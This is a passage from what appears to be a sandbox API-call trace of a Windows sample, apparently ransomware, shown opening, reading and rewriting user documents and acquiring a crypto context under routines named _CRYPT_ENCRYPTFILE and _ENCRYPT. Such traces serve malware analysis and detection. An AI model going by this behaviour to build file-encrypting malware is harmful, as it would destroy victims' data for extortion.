wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.776] CharLowerBuffW (in: lpsz="byte[93519]", cchLength=0xb | out: lpsz="byte[93519]") returned 0xb [0023.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.777] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.777] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.777] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.778] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.779] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.779] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.779] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.779] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.779] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.779] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.780] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.780] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.782] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.782] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.782] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.782] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.782] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.782] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.782] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.782] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.782] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2317) returned 1 [0023.782] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.782] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.782] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.782] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x90d, lpOverlapped=0x0) returned 1 [0023.782] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.782] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x90d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.783] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2317) returned 1 [0023.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\n", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0023.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\n", cchWideChar=61, lpMultiByteStr=0xe8f4051950, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\n", lpUsedDefaultChar=0x0) returned 61 [0023.783] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40514a0*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40514a0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3c, lpOverlapped=0x0) returned 1 [0023.783] CloseHandle (hObject=0x188) returned 1 [0023.784] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.784] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.784] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.784] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.784] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.784] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.784] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.785] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.785] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.786] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.786] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.odp", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0023.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.odp", cchWideChar=53, lpMultiByteStr=0xe8f404be50, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.odp", lpUsedDefaultChar=0x0) returned 53 [0023.786] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.odp" (normalized: "c:\\users\\5jghkoaofdp\\documents\\13i0vlibno4qxctb5.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0023.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0xe8f40660f0, cchWideChar=53 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.odp") returned 53 [0023.787] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.788] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.788] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.788] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.788] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.788] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.788] CloseHandle (hObject=0x188) returned 1 [0023.788] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.789] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.789] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.789] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.789] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.789] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.789] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.790] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.790] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.790] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.791] PeekMessageW (in: 